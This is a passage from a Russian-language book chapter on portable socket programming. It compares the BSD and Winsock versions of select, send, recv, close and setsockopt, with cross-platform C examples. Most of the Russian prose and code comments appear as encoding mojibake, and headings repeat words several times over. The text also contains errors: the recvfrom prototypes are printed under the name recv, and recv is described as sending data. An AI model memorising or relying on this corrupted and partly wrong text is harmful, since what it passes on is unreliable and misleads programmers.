� readfdsreadfdsreadfdsreadfdsreadfds – óêàçàòåëü íà ñòðóêòóðó òèïà fd_set, ñîäåðæàùóþ ñïèñîê äåñê-
ðèïòîðîâ ñîêåòîâ, äëÿ êîòîðûõ íóæíî ñëåäèòü çà ïîÿâëåíèåì íîâûõ
âõîäíûõ äàííûõ;

� writefdswritefdswritefdswritefdswritefds – óêàçàòåëü íà ñòðóêòóðó òèïà fd_set, ñîäåðæàùóþ ñïèñîê äåñê-
ðèïòîðîâ ñîêåòîâ, äëÿ êîòîðûõ íóæíî ñëåäèòü çà ïîÿâëåíèåì ñâî-
áîäíîãî ìåñòà â áóôåðå, âñëåä çà ÷åì â ñîêåò ìîæíî áóäåò çàïèñûâàòü
äàííûå;

� exceptfdsexceptfdsexceptfdsexceptfdsexceptfds – óêàçàòåëü íà ñòðóêòóðó òèïà fd_set, ñîäåðæàùóþ ñïèñîê äåñê-
ðèïòîðîâ ñîêåòîâ, äëÿ êîòîðûõ íóæíî ñëåäèòü çà âîçíèêíîâåíèåì
îøèáîê;

� timeouttimeouttimeouttimeouttimeout – óêàçàòåëü íà ñòðóêòóðó òèïà timeval, ñîäåðæàùóþ ÷èñëî ñå-
êóíä è ìèêðîñåêóíä, â òå÷åíèå êîòîðûõ ôóíêöèÿ æäåò âîçíèêíîâåíèÿ
ñîáûòèÿ íà ëþáîì èç îòñëåæèâàåìûõ äåñêðèïòîðîâ.

Åñëè â òå÷åíèå óêàçàííîãî â ñòðóêòóðå timeval âðåìåíè íèêàêèõ ñîáûòèé
íå ïðîèçîøëî, âîçâðàùàåòñÿ çíà÷åíèå 0, ñâèäåòåëüñòâóþùåå î òàéìàóòå.
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Èíòåðôåéñû ôóíêöèè select() â BSD è Winsock â îñíîâíîì ñîâìåñòèìû. Ñó-
ùåñòâåííîå îòëè÷èå ñîñòîèò â òîì, ÷òî â Winsock çíà÷åíèå ïåðâîãî àðãó-
ìåíòà nfds èãíîðèðóåòñÿ, à â BSD-âåðñèè íóæíî ïåðåäàòü çíà÷åíèå ñàìîãî
áîëüøîãî äåñêðèïòîðà ïëþñ 1. Â API BSD-ñîêåòîâ äåñêðèïòîðû èìåþò òèï
int, òàê ÷òî ïðèáàâëåíèå åäèíèöû äîïóñòèìî. Îäíàêî â Winsock äåñêðèïòî-
ðû èìåþò òèï SOCKET, ïîýòîìó ïðè ïîïûòêå ïðèáàâèòü ê äåñêðèïòîðó åäè-
íèöó êîìïèëÿòîð âûäàñò ïðåäóïðåæäåíèå.

Âîò ïðèìåð âûçîâà ôóíêöèè select() äëÿ BSD-ñîêåòîâ:

int sd  = 0;
int ret = 0;

sd = socket(AF_INET, SOCK_STREAM, 0);
.
.
/* ñëåäóþùèé ôðàãìåíò êîìïèëèðóåòñÿ áåç ïðåäóïðåæäåíèé */
ret = select(sd + 1, NULL, NULL, NULL, NULL);

À âîò òîò æå äëÿ Winsock:
SOCKET sd  = 0;
int    ret = 0;

sd = socket(AF_INET, SOCK_STREAM, 0);
.
.
/* ñëåäóþùèé ôðàãìåíò âûçîâåò ïðåäóïðåæäåíèå êîìïèëÿòîðà */
ret = select(sd + 1, NULL, NULL, NULL, NULL);

Ïîýòîìó íóæíî ïîëüçîâàòüñÿ äèðåêòèâîé #ifdef ïðè ïåðåäà÷å ôóíêöèè
select() ïåðâîãî àðãóìåíòà, êàê ïîêàçàíî â ñòðîêàõ 114 è 120 ïðèìåðà 7.11.

Пример 7.11. Пример 7.11. Пример 7.11. Пример 7.11. Пример 7.11. Функция select() (select1.c)
 1 /*

 2  * select1.c

 3  *

 4  * êðîññ-ïëàòôîðìåííûé ïðèìåð èñïîëüçîâàíèÿ

 5  * ôóíêöèè select().

 6  */

 7
 8 #ifdef WIN32

 9
10 /* íåîáõîäèìî äëÿ Winsock */

11 #pragma comment(lib, "ws2_32.lib")

12
13 #include <winsock2.h>

14
15 #else

16
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17 /* çàãîëîâî÷íûå ôàéëû äëÿ UNIX */

18 #include <sys/types.h>

19 #include <sys/socket.h>

20 #include <netinet/in.h>

21 #include <sys/time.h>

22
23 #endif

24
25 #include <stdio.h>

26
27 /* ëîêàëüíûé ïîðò, ê êîòîðîìó ïðèâÿçûâàòü ñîêåò */

28 #define LOCAL_PORT  1234

29
30 /* äëèíà ïðèåìíîãî áóôåðà */

31 #define  BUF_LEN    1024

32
33 int

34 main(void)

35 {

36 #ifdef WIN32

37   WSADATA wsa;     /* èñïîëüçóåòñÿ â WSAStartup() */

38   SOCKET  sd = 0;

39 #else

40   int     sd = 0;

41 #endif

42
43   struct sockaddr_in sin;

44   struct timeval     tv; /* íóæíî äëÿ çàäàíèÿ òàéìàóòà select() */

45   fd_set             fdset; /* íóæíî äëÿ ôóíêöèè select() */

46   char               buf[BUF_LEN];

47   int                ret = 0;

48
49   /* íà ïëàòôîðìå Win32 íóæíî èíèöèàëèçèðîâàòü Winsock */

50 #ifdef WIN32

51   memset(&wsa, 0x0, sizeof(WSADATA));

52
53   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

54   {

55     printf("îøèáêà WSAStartup().\n");

56     return(1);

57   }

58 #endif

59
60   /* ñîçäàòü UDP-ñîêåò */

61   sd = socket(AF_INET, SOCK_DGRAM, 0);

62   /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

63 #ifdef WIN32

64   if(sd == INVALID_SOCKET)

65   /* èíà÷å ñðàâíèòü ñ -1 */
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 66 #else

 67   if(sd  < 0)

 68 #endif

 69   {

 70     printf("îøèáêà socket().\n");

 71     return(1);

 72   }

 73
 74   printf("äåñêðèïòîð ñîêåòà ñîçäàí.\n");

 75
 76   /* ïðèâÿçàòü ñîêåò ê ëîêàëüíîìó ïîðòó */

 77
 78   memset(&sin, 0x0, sizeof(sin));

 79
 80   sin.sin_family        = AF_INET;

 81
 82   /* çàäàòü íîìåð ïîðòà */

 83   sin.sin_port          = htons(LOCAL_PORT);

 84
 85   /* ïðèíèìàòü ñîåäèíåíèÿ ñ ëþáîãî èíòåðôåéñà */

 86   sin.sin_addr.s_addr   = INADDR_ANY;

 87
 88   /* ïðèâÿçàòü ñîêåò */

 89   ret = bind(sd, (struct sockaddr *) &sin, sizeof(sin));

 90 #ifdef WIN32

 91   if(ret == SOCKET_ERROR)

 92 #else

 93   if(ret  < 0)

 94 #endif

 95   {

 96     printf("îøèáêà bind().\n");

 97     return(1);

 98   }

 99
100   /* ñ ïîìîùüþ ôóíêöèè select() ïðîâåðÿòü,

101      êîãäà ñîêåò áóäåò ãîòîâ äëÿ ÷òåíèÿ */

102   memset(&fdset, 0x0, sizeof(fd_set));

103
104   FD_SET(sd, &fdset);

105
106   memset(&tv, 0x0, sizeof(struct timeval));

107
108   tv.tv_sec = 5;

109
110   /* â Winsock ïåðâûé àðãóìåíò ôóíêöèè select (ndfs) èãíîðèðóåòñÿ

111      ïîýòîìó ïåðåäàäèì âìåñòî íåãî 0, ÷òîáû

112      ïîäàâèòü ïðåäóïðåæäåíèå êîìïèëÿòîðà */

113 #ifdef WIN32

114   ret = select(0, &fdset, NULL, NULL, &tv);
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115
116   /* äëÿ BSD-âåðñèè select() àðãóìåíò ndfs

117      íóæåí, ïåðåäàäèì åãî */

118 #else

119
120   ret = select(sd + 1, &fdset, NULL, NULL, &tv);

121 #endif

122
123   /* Â Win32 ñðàâíèâàåì ñ êîíñòàíòîé SOCKET_ERROR */

124 #ifdef WIN32

125   if(ret == SOCKET_ERROR)

126   /* èíà÷å ñðàâíèâàåì ñ íóëåì */

127 #else

128   if(ret  < 0)

129 #endif

130   {

131     printf("îøèáêà select().\n");

132     return(1);

133   }

134   /* åñëè ret ðàâíî 0, ïðîèçîøåë òàéìàóò, çàäàííûé â tv.tv_sec */

135   else if(ret == 0)

136   {

137     printf("òàéìàóò select().\n");

138     return(1);

139   }

140
141   /* äàííûå ãîòîâû äëÿ ÷òåíèÿ */

142
143   /* ïðèíÿòü UDP-äàòàãðàììû ñ ïîìîùüþ ôóíêöèè recv() */

144   ret = recv  (sd, (char *) buf, BUF_LEN, 0);

145 #ifdef WIN32

146   if(ret == SOCKET_ERROR)

147 #else

148   if(ret < 0)

149 #endif

150   {

151     printf("îøèáêà recv().\n");

152     return(1);

153   }

154
155   printf("recv çàâåðøèëàñü óñïåøíî.\n");

156
157   return(0);

158 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 44–45 îáúÿâëÿþòñÿ ñòðóêòóðû timeval è fd_set, íåîáõîäèìûå

ôóíêöèè select(). Èõ îáúÿâëåíèÿ îäèíàêîâû â UNIX è â Windows.
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� Â ñòðîêàõ 102–108 ýòè ñòðóêòóðû èíèöèàëèçèðóþñÿ.
� Â ñòðîêàõ 113–117 âûçûâàåòñÿ ôóíêöèÿ select(), ïðè÷åì íà ïëàòôîðìå

Win32 â êà÷åñòâå ïåðâîãî àðãóìåíòà ïåðåäàåòñÿ 0. Ýòîò àðãóìåíò íå èñ-
ïîëüçóåòñÿ è ñîõðàíåí òîëüêî äëÿ ñîâìåñòèìîñòè ñ BSD-ñîêåòàìè.

� Â ñòðîêå 120 ôóíêöèÿ select() âûçûâàåòñÿ ñ íåíóëåâûì ïåðâûì àðãóìåí-
òîì, åñëè ïðîãðàììà êîìïèëèðóåòñÿ íà ïëàòôîðìå UNIX, ïîñêîëüêó
â ýòîì ñëó÷àå åãî çíà÷åíèå âàæíî.

� Â ñòðîêàõ 124–129 êîä îøèáêè àíàëèçèðóåòñÿ ïî-ðàçíîìó, äëÿ ÷åãî ñíî-
âà ïðèìåíÿåòñÿ äèðåêòèâà #ifdef.

Функции send() и sendto()
Â UNIX ôóíêöèè send() è sendto() èìåþò ïîêàçàííûå íèæå ñèãíàòóðû è íóæ-
äàþòñÿ â ñëåäóþùèõ çàãîëîâî÷íûõ ôàéëàõ:

#include <sys/types.h>
#include <sys/socket.h>

int send(int s, const void *msg, size_t len, int flags);

int sendto(int s, const void *msg, size_t len, int flags,
           const struct sockaddr *to, socklen_t tolen);

Â Windows äëÿ íèõ òðåáóåòñÿ îäèí çàãîëîâî÷íûé ôàéë, à ñèãíàòóðû íå-
ñêîëüêî èíûå:

#include <winsock2.h>

int send(SOCKET s, const char FAR *msg, size_t len, int flags);

int sendto(SOCKET s, const char FAR *msg, size_t len, int flags,
           const struct sockaddr FAR *to, int tolen);

Ôóíêöèè send() è sendto() ïðèìåíÿþòñÿ äëÿ îòïðàâêè äàííûõ ÷åðåç ñîêåò.
Â ñëó÷àå sendto() óêàçûâàåòñÿ òàêæå àäðåñ ïîëó÷àòåëÿ.

Ôóíêöèÿ send() ïðèíèìàåò ÷åòûðå àðãóìåíòà: äåñêðèïòîð ñîêåòà, óêàçàòåëü
íà îòïðàâëÿåìûå äàííûå, äëèíó ýòèõ äàííûõ è íåîáÿçàòåëüíûå ôëàãè. Ôóíê-
öèÿ sendto() â äîïîëíåíèå ê òåì æå àðãóìåíòàì ïðèíèìàåò åùå äâà: óêàçà-
òåëü íà ñòðóêòóðó òèïà sockaddr, â êîòîðîé õðàíèòñÿ àäðåñ ïîëó÷àòåëÿ, è äëèíó
ýòîé ñòðóêòóðû.

Èíòåðôåéñû ôóíêöèé send() è sendto() â BSD è Winsock â îñíîâíîì ñîâìåñ-
òèìû. Åäèíñòâåííîå çàìåòíîå îòëè÷èå – ýòî òèï âòîðîãî àðãóìåíòà. Â BSD
îí îïðåäåëåí êàê const void *, à â Winsock – êàê const char FAR *. ×òîáû ïîäà-
âèòü ïðåäóïðåæäåíèÿ êîìïèëÿòîðà, íóæíî ïðèâåñòè óêàçàòåëü ê òèïó const
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char *, êàê ïîêàçàíî â ïðèìåðå 7.12, ãäå äåìîíñòðèðóåòñÿ ïðèìåíåíèå ôóíê-
öèè send().

Пример 7.12. Пример 7.12. Пример 7.12. Пример 7.12. Пример 7.12. Функция send() (sendto1.c)
 1 /*

 2  * sendto1.c

 3  *

 4  * êðîññ-ïëàòôîðìåííûé ïðèìåð èñïîëüçîâàíèÿ

 5  * ôóíêöèè sendto(). Îòïðàâèòü UDP-äàòàãðàììó

 6  * íà ïîðò 1234 ïî àäðåñó 127.0.0.1

 7  */

 8
 9 #ifdef WIN32

10
11 /* íåîáõîäèìî äëÿ Winsock */

12 #pragma comment(lib, "ws2_32.lib")

13
14 #include <winsock2.h>

15
16 #else

17
18 /* çàãîëîâî÷íûå ôàéëû äëÿ UNIX */

19 #include <sys/types.h>

20 #include <sys/socket.h>

21 #include <netinet/in.h>

22 #include <arpa/inet.h>

23
24 #endif

25
26 #include <stdio.h>

27
28 /* IP-àäðåñ è ïîðò, ñ êîòîðûì íóæíî óñòàíîâèòü ñîåäèíåíèå */

29 #define TARGET_ADDR "127.0.0.1"

30 #define TARGET_PORT 1234

31
32 /* ïîäëåæàùèå îòïðàâêå äàííûå */

33 struct data

34 {

35   int x;

36   int y;

37 };

38
39 int

40 main(void)

41 {

42 #ifdef WIN32

43   WSADATA wsa;       /* èñïîëüçóåòñÿ â WSAStartup() */

44   SOCKET  sd = 0;
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45 #else

46   int     sd = 0;

47 #endif

48
49 struct sockaddr_in sin ;

50 struct data        data;

51 int                ret = 0;

52
53   /* íà ïëàòôîðìå Win32 íóæíî èíèöèàëèçèðîâàòü Winsock */

54 #ifdef WIN32

55   memset(&wsa, 0x0, sizeof(WSADATA));

56
57   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

58   {

59     printf("îøèáêà WSAStartup().\n");

60     return(1);

61   }

62 #endif

63
64   /* ñîçäàòü UDP-ñîêåò */

65   sd = socket(AF_INET, SOCK_DGRAM, 0);

66   /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

67 #ifdef WIN32

68   if(sd == INVALID_SOCKET)

69   /* èíà÷å ñðàâíèòü ñ -1 */

70 #else

71   if(sd < 0)

72 #endif

73   {

74     printf("îøèáêà socket().\n");

75     return(1);

76   }

77
78   printf("äåñêðèïòîð ñîêåòà ñîçäàí.\n");

79
80   /* îïðåäåëèòü óäàëåííóþ îêîíå÷íóþ òî÷êó */

81   memset(&sin, 0x0, sizeof(sin));

82
83   sin.sin_family      = AF_INET;

84   sin.sin_port        = htons(TARGET_PORT);

85   sin.sin_addr.s_addr = inet_addr(TARGET_ADDR);

86
87   ret = connect(sd, (struct sockaddr *) &sin, sizeof(sin));

88 #ifdef WIN32

89   if(ret == SOCKET_ERROR)

90 #else

91   if(ret  < 0)

92 #endif

93   {
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 94     printf("îøèáêà connect().\n");

 95     return(1);

 96   }

 97
 98   /* îòïðàâèòü äàííûå ñ ïîìîùüþ ôóíêöèè send */

 99   data.x = 0;

100   data.y = 0;

101
102   /* ïðèâåñòè óêàçàòåëü îò òèïà struct data * ê òèïó const char *

103      âî èçáåæàíèå ïðåäóïðåæäåíèå îò êîìïèëÿòîðà â Visual Studio */

104   ret = send(sd, (const char *) &data, sizeof(data), 0);

105 #ifdef WIN32

106   if(ret == SOCKET_ERROR)

107 #else

108   if(ret  < 0)

109 #endif

110   {

111     printf("îøèáêà send().\n");

112     return(1);

113   }

114
115   printf("äàííûå îòïðàâëåíû.\n");

116
117   return(0);

118 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 32–37 îáúÿâëÿåòñÿ ñòðóêòóðà äàííûõ, êîòîðóþ ìû ñîáèðàåìñÿ

çàïîëíèòü è îòïðàâèòü.
� Â ñòðîêå 104 ýòà ñòðóêòóðà îòïðàâëÿåòñÿ ïîëó÷àòåëþ ñ ïîìîùüþ ôóíê-

öèè send(). Ïåðåäàâàåìûé send() óêàçàòåëü ÿâíî ïðèâîäèòñÿ ê òèïó
const char *, ÷òîáû ïîäàâèòü ïðåäóïðåæäåíèå êîìïèëÿòîðà ïðè ðàáîòå
â Microsoft Visual Studio.NET. Êîìïèëÿòîð GCC â UNIX ïðåäóïðåæäå-
íèÿ è òàê íå âûäàë áû.

� Â ñòðîêàõ 105–108 êîä îøèáêè àíàëèçèðóåòñÿ ïî-ðàçíîìó, äëÿ ÷åãî
ïðèìåíÿåòñÿ äèðåêòèâà #ifdef.

Функции recv() и recvfrom()
Â UNIX ôóíêöèè recv() è recvfrom() èìåþò ïîêàçàííûå íèæå ñèãíàòóðû è
íóæäàþòñÿ â ñëåäóþùèõ çàãîëîâî÷íûõ ôàéëàõ:

#include <sys/types.h>
#include <sys/socket.h>

int recv(int s, void *buf, size_t len, int flags);
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int recv(int s, void *buf, size_t len, int flags,
         struct sockaddr *from, socklen_t *fromlen);

Â Windows äëÿ íèõ òðåáóåòñÿ îäèí çàãîëîâî÷íûé ôàéë, à ñèãíàòóðû íå-
ñêîëüêî èíûå:

#include <winsock2.h>

int recv(SOCKET s, char FAR *buf, size_t len, int flags);

int recv(SOCKET s, char FAR *buf, size_t len, int flags,
         struct sockaddr FAR *from, int FAR *fromlen);

Ôóíêöèè recv() è recvfrom() ïðèìåíÿþòñÿ äëÿ îòïðàâêè äàííûõ ÷åðåç ñîêåò.
Ôóíêöèÿ recv() ïðèíèìàåò ÷åòûðå àðãóìåíòà: äåñêðèïòîð ñîêåòà, óêàçàòåëü íà
áóôåð, â êîòîðûé áóäóò ïîìåùåíû ïðèíÿòûå äàííûå, äëèíó ýòîãî áóôåðà è
íåîáÿçàòåëüíûå ôëàãè.

Ôóíêöèÿ recvfrom() â äîïîëíåíèå ê òåì æå àðãóìåíòàì ïðèíèìàåò åùå äâà:
óêàçàòåëü íà ñòðóêòóðó òèïà sockaddr, â êîòîðóþ áóäåò ïîìåùåí àäðåñ îòïðàâè-
òåëÿ, è óêàçàòåëü íà äëèíó ýòîé ñòðóêòóðû. Îáû÷íî ýòà ôóíêöèÿ ïðèìåíÿåòñÿ
äëÿ ïðèåìà UDP-äàòàãðàìì è â ñî÷åòàíèè ñ ïðîñòûìè ñîêåòàìè äëÿ ïðèåìà
IPv4-äàòàãðàìì.

Èíòåðôåéñû ôóíêöèé recv() è recvfrom() â BSD è Winsock â îñíîâíîì ñî-
âìåñòèìû. Åäèíñòâåííîå çàìåòíîå îòëè÷èå – ýòî òèï âòîðîãî àðãóìåíòà.
Â BSD îí îïðåäåëåí êàê void *, à â Winsock – êàê char FAR *. ×òîáû ïîäàâèòü
ïðåäóïðåæäåíèÿ êîìïèëÿòîðà, íóæíî ïðèâåñòè óêàçàòåëü ê òèïó char *.

Â ïðèìåðå 7.13 ïîêàçàíî ïðèìåíåíèå ôóíêöèè recv() äëÿ ïðèåìà äàííûõ.
Îáðàòèòå âíèìàíèå íà òî, êàê óêàçàòåëü íà áóôåð ïðèâîäèòñÿ ê òèïó char *
âî èçáåæàíèå ïðåäóïðåæäåíèé êîìïèëÿòîðà.

Пример 7.13.Пример 7.13.Пример 7.13.Пример 7.13.Пример 7.13. Функция recv() (recv1.c)
 1 /*

 2  * recv1.c

 3  *

 4  * êðîññ-ïëàòôîðìåííûé ïðèìåð èñïîëüçîâàíèÿ

 5  * ôóíêöèè recv().

 6  */

 7
 8 #ifdef WIN32

 9
10 /* íåîáõîäèìî äëÿ Winsock */

11 #pragma comment(lib, "ws2_32.lib")

12
13 #include <winsock2.h>

14
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15 #else

16
17 /* çàãîëîâî÷íûå ôàéëû äëÿ UNIX */

18 #include <sys/types.h>

19 #include <sys/socket.h>

20 #include <netinet/in.h>

21
22 #endif

23
24 #include <stdio.h>

25
26 /* ëîêàëüíûé ïîðò, ê êîòîðîìó ïðèâÿçûâàòü ñîêåò */

27 #define LOCAL_PORT 1234

28
29 /* äëèíà ïðèåìíîãî áóôåðà */

30 #define  BUF_LEN   1024

31
32 int

33 main(void)

34 {

35 #ifdef WIN32

36   WSADATA wsa; /* èñïîëüçóåòñÿ â WSAStartup() */

37   SOCKET  sd = 0;

38 #else

39   int     sd = 0;

40 #endif

41
42   struct sockaddr_in sin ;

43   char               buf[BUF_LEN];

44   int                ret = 0;

45
46   /* íà ïëàòôîðìå Win32 íóæíî èíèöèàëèçèðîâàòü Winsock */

47 #ifdef WIN32

48   memset(&wsa, 0x0, sizeof(WSADATA));

49
50   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

51   {

52     printf("îøèáêà WSAStartup().\n");

53     return(1);

54   }

55 #endif

56
57   /* ñîçäàòü UDP-ñîêåò */

58   sd = socket(AF_INET, SOCK_DGRAM, 0);

59   /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

60 #ifdef WIN32

61   if(sd == INVALID_SOCKET)

62   /* èíà÷å ñðàâíèòü ñ -1 */

63 #else

64   if(sd  < 0)
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 65 #endif

 66   {

 67     printf("îøèáêà socket().\n");

 68     return(1);

 69   }

 70
 71   printf("äåñêðèïòîð ñîêåòà ñîçäàí.\n");

 72
 73   /* ïðèâÿçàòü ñîêåò ê ëîêàëüíîìó ïîðòó */

 74
 75   memset(&sin, 0x0, sizeof(sin));

 76
 77   sin.sin_family        = AF_INET;

 78
 79   /* çàäàòü íîìåð ïîðòà */

 80   sin.sin_port          = htons(LOCAL_PORT);

 81
 82   /* ïðèíèìàòü ñîåäèíåíèÿ ñ ëþáîãî èíòåðôåéñà */

 83   sin.sin_addr.s_addr   = INADDR_ANY;

 84
 85   /* ïðèâÿçàòü ñîêåò */

 86   ret = bind(sd, (struct sockaddr *) &sin, sizeof(sin));

 87 #ifdef WIN32

 88   if(ret == SOCKET_ERROR)

 89 #else

 90   if(ret  < 0)

 91 #endif

 92   {

 93     printf("îøèáêà bind().\n");

 94     return(1);

 95   }

 96
 97   printf("îæèäàþ ââîäà.\n");

 98
 99   /* ïðèíÿòü UDP-äàòàãðàììó ñ ïîìîùüþ ôóíêöèè recv() */

100   ret = recv  (sd, (char *) buf, BUF_LEN, 0);

101 #ifdef WIN32

102   if(ret == SOCKET_ERROR)

103 #else

104   if(ret  < 0)

105 #endif

106   {

107     printf("îøèáêà recv().\n");

108     return(1);

109   }

110
111   printf("recv çàâåðøèëàñü óñïåøíî.\n");

112
113   return(0);

114 }

Подлежащие переносу компоненты



370 Глава 7. Написание переносимых сетевых программ

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 100 âûçûâàåòñÿ ôóíêöèÿ recv() äëÿ ïðèåìà äàííûõ èç UDP-ñî-

êåòà. Óêàçàòåëü íà áóôåð äëÿ õðàíåíèÿ ïðèíèìàåìûõ äàííûõ ÿâíî ïðè-
âîäèòñÿ ê òèïó char *, ÷òîáû ïîäàâèòü ïðåäóïðåæäåíèå êîìïèëÿòîðà
ïðè ðàáîòå â Microsoft Visual Studio.NET. Êîìïèëÿòîð GCC â UNIX ïðå-
äóïðåæäåíèÿ è òàê íå âûäàë áû.

� Â ñòðîêàõ 101–104 êîä îøèáêè àíàëèçèðóåòñÿ ïî-ðàçíîìó, äëÿ ÷åãî
ïðèìåíÿåòñÿ äèðåêòèâà #ifdef.

Функции close() и closesocket()
Â UNIX ôóíêöèÿ close() èìååò ïîêàçàííóþ íèæå ñèãíàòóðó è íóæäàåòñÿ â ñëå-
äóþùåì çàãîëîâî÷íîì ôàéëå:

#include <unistd.h>

int close(int d);

Â Windows òðåáóåòñÿ îäèí çàãîëîâî÷íûé ôàéë, à ñèãíàòóðû òàêîâà:

#include <winsock2.h>

int closesocket(SOCKET s);

Â UNIX äëÿ çàêðûòèÿ ñîêåòà ïðèìåíÿåòñÿ ñèñòåìíûé âûçîâ close(), à â Win-
sock – ôóíêöèÿ closesocket().

Íà ïëàòôîðìå UNIX äåñêðèïòîðû ñîêåòîâ íè÷åì íå îòëè÷àþòñÿ îò äðóãèõ
äåñêðèïòîðîâ ââîäà/âûâîäà. Ïîýòîìó äëÿ èõ çàêðûòèÿ ìîæíî ïðèìåíÿòü ñè-
ñòåìíûé âûçîâ close. Â Winsock æå äåñêðèïòîðû ñîêåòîâ è ôàéëîâ îòëè÷àþò-
ñÿ, òàê ÷òî äëÿ çàêðûòèÿ ñîêåòà ïðèõîäèòñÿ ïðèìåíÿòü ñïåöèàëüíóþ ôóíê-
öèþ closesocket(). Òàêèì îáðàçîì, ïðè íàïèñàíèè ïåðåíîñèìîãî êîäà íåò àëü-
òåðíàòèâû äèðåêòèâå ïðåïðîöåññîðà #ifdef.

Îòìåòèì, ÷òî â ñòàíäàðòíûõ áèáëèîòåêàõ Windows åñòü ôóíêöèÿ close(),
íî ïðèìåíÿòü åå äëÿ çàêðûòèÿ ñîêåòà íåëüçÿ. Â ïðèìåðå 7.14 äåìîíñòðèðóåò-
ñÿ èñïîëüçîâàíèå ôóíêöèé close() è closesocket().

Пример 7.14. Пример 7.14. Пример 7.14. Пример 7.14. Пример 7.14. Функция close() (close1.c)
1 /*

2  * close1.c

3  *

4  * êðîññ-ïëàòôîðìåííûé ïðèìåð èñïîëüçîâàíèÿ

5  * ôóíêöèé close()/closesocket().

6  */
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 7
 8 #ifdef WIN32

 9
10 /* íåîáõîäèìî äëÿ Winsock */

11 #pragma comment(lib, "ws2_32.lib")

12
13 #include <winsock2.h>

14
15 #else

16
17 #include <sys/types.h>

18 #include <sys/socket.h>

19 #include <unistd.h>

20
21 #endif

22
23 #include <stdio.h>

24
25 int

26 main(void)

27 {

28 #ifdef WIN32

29   WSADATA wsa;        /* èñïîëüçóåòñÿ â WSAStartup() */

30   SOCKET  sd = 0;

31 #else

32  int    sd = 0;

33 #endif

34
35 /* íà ïëàòôîðìå Win32 íóæíî èíèöèàëèçèðîâàòü Winsock */

36 #ifdef WIN32

37  memset(&wsa, 0x0, sizeof(WSADATA));

38
39   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

40  {

41      printf("îøèáêà WSAStartup().\n");

42      return(1);

43  }

44 #endif

45
46  /* ñîçäàòü TCP-ñîêåò */

47  sd = socket(AF_INET, SOCK_STREAM, 0);

48  /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

49 #ifdef WIN32

50  if(sd == INVALID_SOCKET)

51 #else

52  /* èíà÷å ñðàâíèòü ñ -1 */

53  if(sd  < 0)

54 #endif

55  {
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56      printf("îøèáêà socket().\n");

57      return(1);

58  }

59
60  /* çàêðûòü ñîêåò */

61 #ifdef WIN32

62  /* Â Win32 ñîêåò çàêðûâàåòñÿ ôóíêöèåé closesocket */

63  closesocket(sd);

64 #else

65  /* à â UNIX ñèñòåìíûì âûçîâîì close() */

66  close(sd);

67 #endif

68
69   return(0);

70 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 61–64 äëÿ çàêðûòèÿ äåñêðèïòîðà ñîêåòà âûçûâàåòñÿ ñïåöè-

ôè÷íàÿ äëÿ Windows ôóíêöèÿ closesocket(). Îòìåòèì, ÷òî ïðèìåíÿòü
ôóíêöèþ close() äëÿ ýòîé öåëè íåëüçÿ, õîòÿ îíà è èìååòñÿ íà ïëàòôîðìå
Win32.

� Â ñòðîêå 66 äëÿ çàêðûòèÿ ñîêåòà âûçûâàåòñÿ ôóíêöèÿ close(), åñëè ïðî-
ãðàììà êîìïèëèðóåòñÿ íà ïëàòôîðìå UNIX.

Функция setsockopt()
Â UNIX ôóíêöèÿ setsockopt() èìååò ïîêàçàííóþ íèæå ñèãíàòóðó è íóæäàåòñÿ
â ñëåäóþùèõ çàãîëîâî÷íûõ ôàéëàõ:

#include <sys/types.h>
#include <sys/socket.h>

int setsockopt(int s, int level, int optname,
               const void *optval, socklen_t optlen);

Â Windows òðåáóåòñÿ îäèí çàãîëîâî÷íûé ôàéë, à ñèãíàòóðà íåñêîëüêî îòëè-
÷àåòñÿ:

#include <winsock2.h>

int setsockopt(SOCKET s, int level, int optname,
               const char FAR *optval, int optlen);

Ôóíêöèÿ setsockopt() ïðèìåíÿåòñÿ äëÿ çàäàíèÿ îïöèé ñîêåòà. Îíà ïðèíèìà-
åò ïÿòü àðãóìåíòîâ: äåñêðèïòîð ñîêåòà, óðîâåíü ïðîòîêîëà, ê êîòîðîìó îòíî-
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ñèòñÿ óñòàíàâëèâàåìàÿ îïöèÿ, èìÿ îïöèè, óêàçàòåëü íà åå çíà÷åíèå è äëèíó
çíà÷åíèÿ.

Îáû÷íî ôóíêöèÿ setsockopt() óïîòðåáëÿåòñÿ äëÿ çàäàíèÿ îïöèé ñòàíäàðò-
íûõ TCP è UDP-ñîêåòîâ. Äëÿ ïðîñòûõ ñîêåòîâ êàê ïðàâèëî óñòàíàâëèâàåòñÿ
òîëüêî îïöèÿ IP_HDRINCL, ïîçâîëÿþùàÿ âêëþ÷èòü â îòïðàâëÿåìûé ïàêåò
íåñòàíäàðòíûé IPv4 çàãîëîâîê.

Èíòåðôåéñû ôóíêöèè setsockopt() â BSD è Winsock â îñíîâíîì ñîâìåñòèìû.
Åäèíñòâåííîå çàìåòíîå îòëè÷èå – ýòî òèï àðãóìåíòà optval. Â BSD îí îïðåäå-
ëåí êàê const void *, à â Winsock – êàê const char FAR *. ×òîáû ïîäàâèòü ïðåäó-
ïðåæäåíèÿ êîìïèëÿòîðà, íóæíî ïðèâåñòè óêàçàòåëü ê òèïó const char *.

Â ïðèìåðå 7.15 ïîêàçàíî ïðèìåíåíèå ôóíêöèè setsockopt() äëÿ çàäàíèÿ îï-
öèè IP_HDRINCL ïðîñòîãî ñîêåòà. Îáðàòèòå âíèìàíèå íà òî, êàê óêàçàòåëü
íà optval ïðèâîäèòñÿ ê òèïó const char * â ñòðîêå 70.

Пример 7.15. Пример 7.15. Пример 7.15. Пример 7.15. Пример 7.15. Функция setsockopt() (setsockopt1.c)
 1 /*

 2  * setsockopt1.c

 3  *

 4  * êðîññ-ïëàòôîðìåííûé ïðèìåð ñîçäàíèÿ ïðîñòîãî

 5  * ñîêåòà è èñïîëüçîâàíèÿ ôóíêöèè

